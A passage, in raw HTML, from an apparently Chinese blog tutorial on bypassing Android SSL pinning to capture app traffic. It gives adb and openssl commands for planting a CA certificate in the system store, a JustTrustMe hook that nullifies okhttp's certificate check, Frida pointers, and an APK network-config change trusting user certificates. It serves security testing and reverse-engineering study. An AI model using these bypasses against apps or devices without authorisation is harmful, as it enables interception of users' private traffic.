inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">客户端需要校验服务端的证书（单向认证）</span></p></li><li><p cid="n23" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">客户端需要校验服务端的证书，同时服务端也要校验客户端的证书（双向认证）</span></p></li></ol><p><br/></p></section><section style="display: flex;justify-content: flex-end;margin-top: -11px;"><section style="box-sizing: border-box;width: 20%;height: 15px;background-color: rgb(255, 245, 239);overflow: hidden;" data-width="20%"><br/></section></section></section><section style="margin-top: 20px;"><section style="display: flex;justify-content: flex-start;align-items: flex-end;"><section style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong>03-1/</strong></section></section><section data-autoskip="1" style="margin-top: -10px;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(75, 91, 90);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding-right: 25px;padding-left: 25px;transform: rotate(0deg);"><p>   </p><p><strong><span style="font-size: 20px;">无认证</span></strong></p><p cid="n25" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">遇到这种情况，直接按照常规步骤抓包即可。但现在不对证书做校验或者说不使用https进行通信的app已经越来越少了，特别是当Android在7.0之后，系统的安全机制都不再信任用户自己的CA证书了。</span></p></section><section style="display: flex;justify-content: flex-end;margin-top: -11px;"><section style="box-sizing: border-box;width: 20%;height: 15px;background-color: rgb(255, 245, 239);overflow: hidden;" data-width="20%"><br/></section></section></section></section></section><section data-tools="135编辑器" data-id="105105"><section style="text-align: left;margin-top: 10px;margin-bottom: 10px;"><section style="margin-top: 20px;"><section style="display: flex;justify-content: flex-start;align-items: flex-end;"><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong>0</strong><strong data-original-title="" title="" data-num="3">3-2/</strong></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><br/></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><br/></p><p style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><br/></p></section><section data-autoskip="1" style="margin-top: -10px;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(75, 91, 90);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding-right: 25px;padding-left: 25px;transform: rotate(0deg);"><h3 cid="n26" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.43;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span style="box-sizing: border-box;font-size: 20px;"><strong>单向认证</strong></span></h3><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">这种客户端单向校验服务端证书的情况又叫ssl pinning技术，开发者预先把服务端证书的相关信息预置到App中再打包，这样在https通讯过程中App可以与服务器返回的CA证书可以做合法性校验，如果发现不一致，那么App就可以判断当前环境可能存在代理或者中间人攻击（比如Fiddler/Charles抓包工具），从而终止https链接。因此这种技术可以用来在App端防止一部分&#34;心怀不轨&#34;的人进行通信流量的分析。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">有防御就会有对应的绕过方法，目前主要的绕过方法有如下几种：</span></p><ol class="list-paddingleft-2" start="" cid="n29" mdtype="list" style="padding-left: 30px;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><li><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">信任导入的用户证书</span></p></li><li><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">hook证书认证函数</span></p></li><li><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">其他</span></p></li></ol></section><section style="display: flex;justify-content: flex-end;margin-top: -11px;"><section style="box-sizing:border-box;width: 20%;height: 15px;background-color: #fff5ef;" data-width="20%"><br/></section></section></section></section></section><section data-tools="135编辑器" data-id="105105"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;"><section style="margin-top: 20px;"><section style="display: flex;justify-content: flex-start;align-items: flex-end;"><section style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong>03-2-1/</strong></section></section><section data-autoskip="1" style="margin-top: -10px;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(75, 91, 90);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding-right: 25px;padding-left: 25px;transform: rotate(0deg);"><h4 cid="n36" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span style="box-sizing: border-box;font-size: 20px;"><strong>信任导入的用户证书</strong></span></h4><p cid="n39" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">1.将用户证书安装到系统证书列表</span></p><p cid="n40" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">将证书安装至系统内部的证书列表中可以解决一部分app不信任用户证书导致对的抓包问题，但是此操作需要将手机root后，才能够访问到系统证书所存放的目录。</span></p><p cid="n41" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">安装系统证书有两步：</span></p><p cid="n41" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">a. 转换证书格式</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="shell"><code><span class="code-snippet_outer">// 转换证书的格式</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">$</span> openssl x509 -<span class="code-snippet__keyword">in</span> cacert.der -inform DER -out cacert.pem -outform PEM</span></code><code><span class="code-snippet_outer">// 提取证书的hash</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">$</span> openssl x509 -inform PEM -subject_hash -<span class="code-snippet__keyword">in</span> cacert.pem</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">$</span> mv cacert.pem xxx.0</span></code></pre></section><p cid="n41" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">b. 使用adb将证书移入/system/etc/security/cacerts/目录下</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">$ adb push <span class="code-snippet__number">7</span>bf17d07.<span class="code-snippet__number">0</span> /data/local/tmp</span></code><code><span class="code-snippet_outer">$ adb shell </span></code><code><span class="code-snippet_outer"><span class="code-snippet__symbol">android:</span>/ $ su</span></code><code><span class="code-snippet_outer"><span class="code-snippet__symbol">android:</span>/ <span class="code-snippet__comment"># mount -o rw,remount / # 挂载/system目录</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__symbol">android:</span>/ <span class="code-snippet__comment"># mv /data/local/tmp/xxx.0 /system/etc/security/cacerts/xxx.0 # 移动证书</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__symbol">android:</span>/ <span class="code-snippet__comment"># chmod 644 /system/etc/security/cacerts/xxx.0 # 修改权限</span></span></code></pre></section><p cid="n47" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">2.使用小于Android 7.0版本的手机</span></p><p cid="n48" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">这个方法更具有实用性，而且不需要root手机，只需要将证书安装在用户证书列表即可。若app具有很好的兼容性，那么即使在不同Android版本下运行，其对应的接口也不会有很大的区别。</span></p><p cid="n48" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p cid="n48" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><br/><span md-inline="plain" style="box-sizing: border-box;"></span></p><p cid="n50" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;color: rgb(119, 119, 119);font-size: 16px;background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">Android官方文档说明</span></p><p cid="n51" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;white-space: pre-wrap;color: rgb(119, 119, 119);font-size: 16px;background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">By default, secure connections (using protocols like TLS and HTTPS) from all apps trust the pre-installed system CAs, and apps targeting Android 6.0 (API level 23) and lower also trust the user-added CA store by default.</span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p cid="n51" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;white-space: pre-wrap;color: rgb(119, 119, 119);font-size: 16px;background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;"></span><br/></p></section><section style="display: flex;justify-content: flex-end;margin-top: -11px;"><section style="box-sizing: border-box;width: 20%;height: 15px;background-color: rgb(255, 245, 239);overflow: hidden;" data-width="20%"><br/></section></section></section></section></section><section data-tools="135编辑器" data-id="105105"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;"><section style="margin-top: 20px;"><section style="display: flex;justify-content: flex-start;align-items: flex-end;"><section style="font-size: 38px;letter-spacing: 1.5px;color: #73dbd5;"><strong>03-2-2/</strong><span style="color: rgb(75, 91, 90);font-size: 14px;text-align: justify;caret-color: red;">    </span></section></section><section data-autoskip="1" style="margin-top: -10px;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(75, 91, 90);background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;padding-right: 25px;padding-left: 25px;transform: rotate(0deg);"><h4 cid="n52" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span style="box-sizing: border-box;font-size: 20px;"><strong>hook证书认证函数</strong></span></h4><p cid="n53" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">这类hook方法可以玩出很多花样来，目前也有很多框架和插件支持这样的操作，本文主要介绍以下几种方法：</span></p><ol class="list-paddingleft-2" start="" cid="n54" mdtype="list" style="padding-left: 30px;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><li><p cid="n56" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">VirtualXposed + JustTrustMe</span></p><p cid="n57" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">VirtualXposed</strong></span></p><p cid="n58" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">以往来说，若要使用Xposed组件，则需要对手机进行root。但VirtualXposed运用了VirtualApp轻量级沙盒工具和epic hook框架技术，实现了在非root环境下运行Xposed模块（支持Android 5.0~10.0)。</span></p><p cid="n59" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">与 Xposed 相比，目前 VirtualXposed 有两个限制：</span></p><p cid="n65" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">同时，在使用过程中需要注意的一点是：所有的工作（安装Xposed模块，安装APP）必须在 VirtualXposed中进行，否则Xposed模块不会有任何作用。</span></p><p cid="n66" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">JustTrustMe</strong></span></p><p cid="n67" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">JustTrustMe是一个可以绕过证书校验（ssl pinning）的Xposed插件，与其类似的还有SSLUnpinning等插件。其中的原理都类似，主要思路是将目前开发者所常用到的实现https的库（okhttp, apache, jsse）进行hook，替换其中验证证书函数的返回值为真，从而绕过app端的证书认证。</span></p><p cid="n68" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">下面是JustTrustMe中一部分的源码，在这里hook了okhttp3.CertificatePinner.check方法，使其返回值为null，进而跳过验证的步骤。</span></p></li><section data-role="list"><ol class="list-paddingleft-2" start="" cid="n60" mdtype="list" style="list-style-type: lower-alpha;padding-left: 30px;"><li><p cid="n62" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">不支持修改系统（可以修改普通APP中对系统API的调用），因此重力工具箱，应用控制器等无法使用。</span></p></li><li><p cid="n64" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">暂不支持资源hook，因此资源钩子不会起任何作用；使用资源hook的模块，相应的功能不会生效。</span></p></li></ol></section></ol><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">try {</span></code><code><span class="code-snippet_outer">    classLoader.loadClass(&#34;okhttp3.CertificatePinner&#34;);</span></code><code><span class="code-snippet_outer">    findAndHookMethod(&#34;okhttp3.CertificatePinner&#34;,</span></code><code><span class="code-snippet_outer">        classLoader,</span></code><code><span class="code-snippet_outer">        &#34;check&#34;,</span></code><code><span class="code-snippet_outer">        String.class,</span></code><code><span class="code-snippet_outer">        List.class,</span></code><code><span class="code-snippet_outer">        new XC_MethodReplacement() {</span></code><code><span class="code-snippet_outer">            @Override</span></code><code><span class="code-snippet_outer">            protected Object replaceHookedMethod(MethodHookParam methodHookParam) throws Throwable {</span></code><code><span class="code-snippet_outer">                return null;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        });</span></code><code><span class="code-snippet_outer">} catch (ClassNotFoundException e) {</span></code><code><span class="code-snippet_outer">    Log.d(TAG, &#34;OKHTTP 3.x not found in &#34; + currentPackageName + &#34; -- not hooking&#34;);</span></code><code><span class="code-snippet_outer">    // pass</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n70" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">更详细的分析原理见：</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://bbs.pediy.com/thread-214012.htm" target="_blank">https://bbs.pediy.com/thread-214012.htm</a></span></p><p cid="n71" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">实践</strong></span></p><p cid="n72" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">在VirtualXposed环境下配置SSLUnpinning插件并安装app</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="337" data-backw="528" data-galleryid="" data-ratio="0.6387377584330794" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="919" src="https://wechat2rss.xlab.app/img-proxy/?k=16111f5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldestCZqYiaZJNLBk5h1DlgtOe0uI5gPmwmdKdvoAAqEA7V9Du2L4Wqxcs9bJQcVwsibdWFvQCneh3QA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">绕过某软件的ssl pinning进行抓包</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="216" data-backw="528" data-galleryid="" data-ratio="0.40888485947416137" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1103" src="https://wechat2rss.xlab.app/img-proxy/?k=6cf64751&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldestCZqYiaZJNLBk5h1DlgtOhibUTiciaKa9VL3YoEB8ZBp2htNVNBYLydhHiciaibFWs2JJiaH4K4SjeNDdw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n77" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">2.Frida</span></p><p cid="n78" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">Frida是个轻量级so级别的hook框架，它可以帮助逆向人员对指定的进程的so模块进行分析。它主要提供了功能简单的python接口和功能丰富的js接口，使得hook函数和修改so编程化，值得一提的是接口中包含了主控端与目标进程的交互接口，由此可以即时获取信息并随时进行修改。</span></p><p cid="n79" mdtype="paragraph" style="text-align:left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">利用Frida绕过ssl pinning的步骤参考 -&gt; </span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://xz.aliyun.com/t/6551#toc-7" target="_blank">https://xz.aliyun.com/t/6551#toc-7</a></span><span md-inline="plain" style="box-sizing: border-box;">。最核心的内容在<code style="box-sizing: border-box;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">frida-android-repinning.js</code>脚本中，其原理是重载了SSLContext中的TrustManager来信任用户导入的证书。</span></p><h4 cid="n80" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">其他</span></h4><p cid="n81" mdtype="paragraph" style="text-align: left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span style="box-sizing: border-box;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">还有很多比较少用的技巧，比如：</span></p><p cid="n84" mdtype="paragraph" style="text-align: left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 16px;">1. 修改apk内容</span></p><p cid="n85" mdtype="paragraph" style="text-align: left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 16px;">先将apk进行解包，修改AndroidManifest.xml，配置networkSecurityConfig，添加信任用户证书的选项，再重打包apk。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;base-config cleartextTrafficPermitted=&#34;true&#34;&gt;</span></code><code><span class="code-snippet_outer">  &lt;trust-anchors&gt;</span></code><code><span class="code-snippet_outer">    &lt;certificates src=&#34;system&#34; /&gt;</span></code><code><span class="code-snippet_outer">    &lt;certificates src=&#34;user&#34; /&gt;</span></code><code><span class="code-snippet_outer">  &lt;/trust-anchors&gt;</span></code><code><span class="code-snippet_outer">&lt;/base-config&gt;</span></code></pre></section><p cid="n85" mdtype="paragraph" style="text-align: left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><br/></p><p cid="n85" mdtype="paragraph" style="text-align: left;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="color: rgb(75, 91, 90);text-align: justify;caret-color: red;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, 